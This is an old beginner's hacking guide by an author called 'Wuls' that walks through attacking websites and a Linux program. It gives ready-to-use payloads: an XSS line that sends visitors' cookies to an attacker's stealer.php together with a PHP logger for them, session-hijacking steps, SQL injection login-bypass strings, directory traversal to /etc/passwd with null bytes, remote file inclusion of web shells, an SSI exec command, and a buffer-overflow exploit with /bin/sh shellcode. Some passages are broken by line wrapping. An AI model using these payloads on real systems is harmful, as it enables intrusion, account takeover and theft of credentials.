_________________________-[ Hacking Guide ]-_________________________ By: Wuls A complete and thorough beginners guide to the art of hacking.

_____________________________________________________________________ Table of Contents: 0x01 0x02 0x03 0x04 0x05 0x06 0x07 What is hacking? HTML / JavaScript Manipulation Basic Web Hacking Techniques Brief introduction to crypto Intermediate level Web Exploitation Linux/UNIX Exploitation Credits

==> 0x01 ["What is hacking?"]; First off, there are many variations of the term hacker and everyone's definition is slightly different. Hacking in the eyes of many is the task of breaking into computer systems and/or websites and screwing things up. I'm here to tell you that the aforementioned definition is perfectly acceptable if that's what you truly believe hacking to be. Hacking cannot be defined that e asily and people tend to mold and shape related terms like 'hacker' to fit their own personal style. There are, however, people who deem themselves worthy of the term when they clearly lack the required skillset. The category these people fall under is widely known as the 'script kiddie'. To put it simply, a script kiddie is someone who tries to get their name known in the underground community by using publicly available exploits/programs that were made by real hackers in an attempt to gain what I like to call 'e-rep' among their peers. Chances are you have probably seen those "h@c <3d BY SAUDI_H4CK3R & DaRkViRuZ" type of webpages. This is what is called a defacement, and we'll touch on that later on in this guide. Others see hacking as the process of creative problem solving and simply circumventing limitations in a non-malicious manner. Whatever your views on hacking are, this guide is for you -- So without further adieu, let's begin.

==> 0x02 ["HTML / JavaScript Manipulation"]; Since the beginning of time (well, the beginning of the Internet) people have us ed HTML to create and view webpages. I guess after a period of time people grew tir ed of plain old HTML pages and yearned for something more, like, er.. JavaScript. With this newly engineered web scripting tool of leetness webmasters were able t o spice up their pages. JavaScript opened an entire locker room of new doors for t he web industry, and allowed users to interact with the sites. This nifty little

scripting language also served as a form of website authentication security before people realized how easily JavaScript login forms could be exploited.. de spite the whole 'security through obscurity' ordeal. Below we see an example of a login/auth form in JavaScript: _____________________________________________________________ <script language="javascript"> <!-function auth(form) { if (form.username.value=="administrator") { if (form.password.value=="soccer8") { location="login.php?username=administrator&password=soccer8" } else { alert("Invalid Password"); } } else { alert("Invalid Username"); } } //--> </script> _____________________________________________________________ Now, that is _really_ going to keep someone from intruding in on your site? Hardly. A simple right-click, and an equally simple left click render this form of web security useless. The clicks being: Right-Click, 'View Source'. Of course, not all retarded.. I mean outdated, webmasters use the same method of 'JavaScript security'. Some may tuck the file away neatly in an embedded area which reads from a .js file. The simple solution to this would be to visit the url containing the filename at the end of it, and voila.. of course this can hardly be called hacking on its own. Another example of JavaScript's unreliablit y can be found here: _____________________________________________________________ <script> function checkpass() { user_input=document.password.pass.value; carrot=unescape('%64%64%6f%71'); jumble="akDJj94dJk4"; a=jumble.charCodeAt(2); b=jumble.charCodeAt(5); c=jumble.charCodeAt(2); yay=((30*51/3*a)-(b*c))/4/5+b; password=carrot+"_"+yay; if(user_input==password) { alert('Welcome.'); document.href="/login.php?password=valid"; } else { alert('Error - Wrong Password'); }

} </script> _____________________________________________________________ At this point you are probably wondering how anyone is supposed to bypass that motherfucker of a login. But what if we modify the code so instead of it telling us we're wrong when we don't enter the correct password, we make it tell us the contents of the variable 'password' and have the script do all the calculations for us?! A simple modification of the line "alert('Error - Wrong Password');" to "alert(password);" will do just that. So now when the script is run, and the wrong password is supplied we are presented with "ddoq_1597.2", the wonderful password.

==> 0x03 ["Basic Web Hacking Techniques"]; Alright so we've all seen those awesome defacement pages around the net, but hav e you ever wondered how it's done? To be honest the majority of those defacements are only existent due to people using a web-shell created by someone else. Sounding a little familiar? Yes, you guessed it.. the people who rely on web-she lls generally tend to be script kiddies. However, there are those who legitimately hack into websites and deface them thr ough other means. A few exploitation techniques we'll be covering are the Local/Remot e File Inclusions, XSS (Cross-Site Scripting), and the infamous SQL Injection. File inclusions tend to originate from vulnerable PHP code such as the following : <?php @include($_GET["page"]); ?> This could result in a local file inclusion just as easily as it could a Remote one. You see, that code will accept anything supplied to the variable 'page' and will attempt to execute or 'load' it onto the page. Being a plain text document it's quite ha rd to demonstrate and I'm no ASCII Artist thats for sure so here's something.. http://site.com/index.php?page=contact.php You may have seen a URL structured like that at some point and wondered what it' s all about but did you ever stop to think that it could be your way in? The use of director y transversals and full path disclosure could aid you in Local file inclusions, especially if y ou're aiming to obtain something like password hashes. Directory transversals simply put, bac ktrack or

'cycle' backwards through directories and basically clear the way for you to set the 'path' to a file you want. Time for yet another example: http://site.com/index.php?page[]=contact.php Might result in (or something similar): Warning: main(Array) [function.main]: failed to open stream: No such file or dir ectory in /home/soccerfan/domains/site.com/site_data/index.php on line 296 From there you could try and access files you otherwise wouldn't have privelages to, due to the fact that you're making the server request them, and of course the server is all owed. http://site.com/index.php?page=../../.. ... ata/passwd admin:DkjenDvfHC If you're successful you might just find something like 'admin:DkjenDvfHC' on th e page. This is what's called a password hash and it is likely that it'll be encrypted. Deciphering or 'cracking' password hashes can be done manually or by programs li ke John the Ripper. I will not be demonstrating the use of John the Ripper in this guide due to the fact there are many tutorials regarding it's use out there, all you need is a simple Google search query. Remote File Inclusions aren't that much different.. rather than trying to read a local file, you'll be making the server read a remote one: http://site.com/index.php?page=http://y ... /shell.txt? Now, I know I said shells were mainly used by script kiddies.. but I didn't say you couldn't use them for educational purposes! :-] Of course there's always the opt ion of coding your own, but at this stage in your hacking career that doesn't seem too likely. There isn't much of a point explaining how to use a shell as there are many diff erent ones out there.. and trust me they're pretty self-explanitory. To name a few: C99 r57 TD Shell x2300

Alright, on to XSS or Cross-Site Scripting. This method of exploitation is basic ally the injection of javascript, in most cases, into a page where it will be executed by other users.

People who use this method generally are hoping to steal other users' cookie dat a so they can perform what is called 'Session Hijacking'. This is the process of replacing you r *session* with someone else's session, thus granting you access to their account - no password necessary. Common areas for XSS attacks are profile pages, search boxes, and/or e-mail atta chments. An attacker could craft a page containing something like: <script>document.href="http://badsite.com/stealer.php?cookie=%20+%20document.coo kie";</script> Which would redirect an unsuspecting user to the page 'stealer.php' on the attac ker's web host. The PHP file stealer.php would contain something along the lines of this: <?php $c = $HTTP_GET_VARS["cookie"]; $fp = fopen('logs.htm', 'a'); fwrite($fp, 'Cookie Data: ' .$c. '<br>'); fclose($fp); ?> I think by now you can pretty much guess what it does. In the event you aren't able to, read this: "IT RECORDS THE USERS COOKIE DATA!!!!!" As always, here is y our example of what the attacker's log file might look like: Cookie Data: bbsessionhash=1bdd8d247d831c2176f0264567a7cc54 Replacing cookie data isn't a hard task either, just enter this into your web br owser. javascript:void(document.cookie="bbsessionhash=1bdd8d247d831c2176f0264567a7cc54" );

==> 0x04 ["Brief introduction to Crypto"];

Since I am no expert myself in the area of crypto, I am going to briefly cover a couple encryption methods.. Password hashes / Messages may be seen in the following forms and can be decrypt ed quite easily provided that you have the necessary tools. The encrypting of messages is a technique that was used way back even during Caesar's time of rule. It was us ed during WWII by the Germans via a machine called the 'Enigma' to relay informa tion about the enemy without their knowledge.

Below are some standard encryption methods with their plaintext version undernea th. 90378756d3bd6429f611227773e287c1 (MD5) this_is_fun cm9mbGNvcHRlcg== (Base64) roflcopter 67 75 6d 6d 79 62 65 61 72 (Hex) gummybear 01101000 01100101 01101100 01101100 01101111 (Binary) hello And then there's Octal. Not so widely used today but still enough to be consider ed relevant. The following string of numbers converts to "Octal is cool!". 117 143 164 141 154 040 151 163 040 143 157 157 154

==> 0x05 ["Intermediate level Web Exploitation"];

In this section you will learn about the basics of SQL Injection, poison null by tes, and Serverside Includes (SSI). As you may or may not know, many of today's websites are powered by things calle d databases, many of which are MySQL based. Unfortunately (but fortunately for you!) MySQL ha s many flaws. Well.. MySQL in itself is fine IMO, but the way it is often configured leaves in truders with ever so tempting opportunity. For example, site logins are often bypassed v ia a simple injection string. Variations of this include: admin' OR 1=1-- */ ' OR 1=1-1=1-' ') OR 1=1-..... and the list goes on. All an attacker is required to do is insert one of t hose into both fields (username + password) and they'll be given access to the administrat or account granted that the website is vulnerable. But this is just the tip of the iceberg for SQL Injections.. you can also trick the server

into dropping you entire user tables. MySQL organizes data into what are called 'tables'. Inside these tables there are things called columns and rows which hold data suc h as usernames, emails, passwords, etc.. when exploiting a site running MySQL yo u need to first know the correct number of columns, and find out which ones can be manipulated. Again, because this is a simple text document my examples are limited: http://somesite.com/news.php?id=6 <-- Just an ordinary request for news item #6 http://somesite.com/news.php?id=1+ORDER+BY+1 olumns.. observe. http://somesite.com/news.php?id=1+ORDER+BY+4 git till an error http://somesite.com/news.php?id=1+ORDER+BY+5 http://somesite.com/news.php?id=1+ORDER+BY+6 But when we try it with '7' we get: Could not successfully run query (SELECT * FROM `news` WHERE `id` = 1 ORDER BY 7 ) from DB: Unknown column '7' in 'order clause' This is because there isn't a seventh column. So let's call the 6 columns that D O exist with a query like this: http://somesite.com/news.php?id=null+un ... rom+news-Now we might see something like the numbers '2' and '3' appear on the page, perh aps of an unusual size, or portrayed as a hyperlink. These are the column numbers we need to manipulate and could be the key to our success. Naturally, this is what I'd t ry: http://somesite.com/news.php?id=null+un ... om+users-Notice that I replaced 2 and 3 with username and password. But I have my doubts about any usernames and passwords being stored in a table called 'news'. Let's j ust change that to 'users' :-) Seems logical right? If successful you might be p resented with something like this... Admin 098f6bcd4621d373cade4e832627b4f6 Ta-da! Speaks for itself I think. Let's move on.. The poison null byte is simply "%00". It can be added onto the end of URLs that automatically get file extentions placed at the end of variable input. Ex: http://site.com/index.php?page=../../../../etc/passwd That attempt at a local file inclusion exploit might result in fail.. observe.. http://site.com/index.php?page=../../.. ... wd.php.txt <-- 1+ORDER+BY+1 is used to count c <-- Keep incrementing the second di <-- is received <-- Everythings fine so far..

Extensions like .php.txt may be thrown into the mix to prevent you from reading important files. Fortunately you can easily circumvent this using the poison null-byte: http://site.com/index.php?page=../../.. ... /passwd%00 It basically tells 'pending extensions' to go f**k themselves.

Oooooooooooooook...... and last but not least, serverside includes. A common pla ce to find these are within search fields. Say you are in a directory called /data/, and yo u want to know what other files are in the current directory, but you are denied directory listing.. You can try inserting something simple like <!--#exec cmd="ls -liah"--> into the search field. If successful, you will be presented with a list of every file in the cur rent directory. Hehe.. this just about concludes the web-hacking part of the guide.

==> 0x06 ["Linux/UNIX Exploitation"];

For simplicity's sake I'm going to copy/paste a previous paper I wrote on buffer overflows. Being a beginner you wouldn't have seen it before, so it's all good =] Enjoy.

. :: Exploiting a simple buffer overflow :: . Written by: wuls # 2007-10-14 ===================================== 1. What is a buffer overflow? 2. How to go about exploiting one. ===================================== This `tutorial' is intended to be short and sweet; straight to the point. [Just what you were probably looking for] ;-) One: ~~~~

A buffer overflow is what occurs when too much data is passed on to the buffer, resulting in it screwing up or "overflowing". There are many variations of this type of exploit, thousands a ctually, residing in many functions in just about any programming language. For the sake of simplicity I am going to gear this tutorial towards C.

Two: ~~~~ Below is an example of vulnerable code. --- Begin Code --#include <stdio.h> #include <string.h> #include <stdlib.h> int main(int argc, char *argv[]) { char buffer[150]; strcpy(buffer, argv[1]); return(0); } --- End Code --To start off exploiting this you will need to fill the buffer. Since this is an example, you already know the buffer size.. but out in the 'wild' you will most likely need to do trial and error until you find the end of the buffer. Let's assume this program is called pr0g. +++++++++++++ wuls@zone~# gcc-3.3 pr0g.c -o pr0g wuls@zone~# ulimit -c unlimited wuls@zone~# ./pr0g `perl -e 'print "A"x172'` Illegal Instruction (core dumped) wuls@zone~# ls pr0g.c pr0g core wuls@zone~# +++++++++++++ As you can see from the example, gcc-3.3 adds padding to help protect the stack. This added junk data causes the buffer to require more data before it overflows. When we eventually filled the buffer with 172 A's it crashed, and dum ped a core. Had we not done 'ulimit -c unlimited', this would not have happened, as it needs permission to do so. So it dumped a core, and dropped us a nice core file, let's take a look inside i t shall we? +++++++++ wuls@zone~# gdb -c core pr0g "Program terminated with signal 4, Illegal instruction.

#0 0xb7ea4e00 in __libc_start_main () from /lib/tls/libc.so.6" (gdb) info reg eax 0x0 0 ecx 0x0 0 edx 0x0 0 ebx 0xb7f23ff4 esp 0xbfb4dd20 ebp 0x41414141 esi 0x0 0 edi 0xb7f4bcc0 eip 0xb7e0ae00 eflags 0x10282 cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 +++++++++ Notice how the memory address was b7ea4e00 right before the program's crash? A m emory address is 4 bytes in size, and right now, b7e0ae00 is occupying the space we want to overwrite. b7e0ae00 is the program's return address (eip). We don't just want to overwrite EIP with just anything though, we want to cram it full with our shellcode. So let's export a variable. +++++++++++ wuls@zone~# export SHELLCODE=`perl -e 'print "\x90" x 50 . "\x6a\x0b\x58\x99\x52 \x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"'` wuls@zone~# +++++++++++ Exporting a variable loads it into the environment. The use of NOPS ("\x90") isn 't always required, but on newer Linux kernels it is probably going to be needed for this type of buffer overflow due to stack randomization. So we already overwrote EBP with our A's, which is represented by 41 in hexadecimal. So what would happen if we added just 4 more bytes after our 172 A's? Maybe it'l l overwrite something else? Let's find out! +++++++++ wuls@zone~# ./pr0g `perl -e 'print "A"x172 . "DDDD"'` Segmentation fault (core dumped) wuls@zone~# gdb -c core pr0g "Program terminated with signal 11, Segmentation fault. #0 0x44444444 in ?? ()" (gdb) info reg eax 0x0 0 ecx 0x0 0 edx 0x0 0 ebx 0xb7f3bff4 -1208762380 esp 0xbfe36810 0xbfe36810 ebp 0x41414141 0x41414141

-1208860684 0xbfb4dd20 0x41414141 -1208697664 0xb7e0ae00 <__libc_start_main+32> [ SF IF RF ]

esi 0x0 0 edi 0xb7f63cc0 -1208599360 eip 0x44444444 0x44444444 eflags 0x10286 [ PF SF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 +++++++++ Aha, we overwrote the EIP register with D's (0x44444444). How useful, right? Bef ore you begin jumping with joy you must keep in mind that a program is not truly exploited until we have gained control over it. For example, making it exe cute our shellcode. But our shellcode is nowhere to be seen! :-( It's not exactly hidden though, we just aren't looking in the right place. Let's re-open the core file and have a look. ++++++ wuls@zone~# gdb -c core pr0g "Program terminated with signal 11, Segmentation fault. #0 0x44444444 in ?? ()" (gdb) info reg eax 0x0 0 ecx 0x0 0 edx 0x0 0 ebx 0xb7f3bff4 esp 0xbfe36810 ebp 0x41414141 esi 0x0 0 edi 0xb7f63cc0 eip 0x44444444 eflags 0x10286 cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51

-1208762380 0xbfe36810 0x41414141 -1208599360 0x44444444 [ PF SF IF RF ]

(gdb) x/s $edx 0xbfa38bac: "SHELLCODE=", '\220' <repeats 50 times>, "j\vX\231Rh//shh/bin\211RS\21 1 \200" (gdb) ++++++ Look for something like that. Note that I left out a bunch of garbage to make th e example more clear, but your variables are usually stored in EDX. Anyway, now that we've found the memory address holding our shellcode we need to make the programs return address point to it. Since our shellcode is stored in a variable we will need to add an offset. Simply add the length of the variable name to the memory address: (gdb) x/s 0xbfa38bac+10 0xbfa38bb6: '\220' <repeats 50 times>, "j\vX\231Rh//shh/bin\211RS\211 \200"

(gdb)q wuls@zone~# This removed the actual letters 'SHELLCODE=' from the memory address, as you don 't want the program trying to execute a variable, but rather an address. Everything looks fine so far, so we might aswell wrap this up. Since most home PCs are little endian (x86) we need to reverse the byte order. I n other words, write the memory address backwards. As shown earlier we used NOPS.. well now its time to take a ride on the good ol' NOPsled. Since NOPs are used as 'NULL' data, and serve no actual purpose, the kernel passes them off as 'empties' and moves onto the next memory address -- Thus the purpose of using an infinite while loop to keep the NOPs active until we hit our shellcode. ++++++ wuls@zone~# while(true) do ./pr0g `perl -e 'print "A"x172 . "\xb6\x8b\xa3\xbf"'` ;done Segmentation Segmentation Segmentation Segmentation Segmentation Segmentation Segmentation Segmentation Segmentation Segmentation Segmentation Segmentation Segmentation Segmentation Segmentation Segmentation Segmentation Segmentation Segmentation Segmentation Segmentation Segmentation Segmentation sh-3.1$ ++++++ fault fault fault fault fault fault fault fault fault fault fault fault fault fault fault fault fault fault fault fault fault fault fault (core (core (core (core (core (core (core (core (core (core (core (core (core (core (core (core (core (core (core (core (core (core (core dumped) dumped) dumped) dumped) dumped) dumped) dumped) dumped) dumped) dumped) dumped) dumped) dumped) dumped) dumped) dumped) dumped) dumped) dumped) dumped) dumped) dumped) dumped)

And there we are folks, we successfully exploited the program and got it to run our shellcode, dropping us a nice shell. Hope you enjoyed this tutorial. Keep in mind that there are many, many different variations and ways to do this, such as writing exploit code to overflow the buffer rather than passing them off as arguments via Perl. Hope this has helped.

================================================================================ ======= Greetz/Thanks: beach, RoMeO, Mulciber, DeadlyData, 2Fade, tactikalnuke, KOrUPt, Philkill, TriGz

, Tippy All of SmashTheStack & Intruded Final notes: Hopefully this has helped you get a good start. Don't be afraid to ask questions , try to avoid shit like pre-made exploits, and good luck. #2008-04-26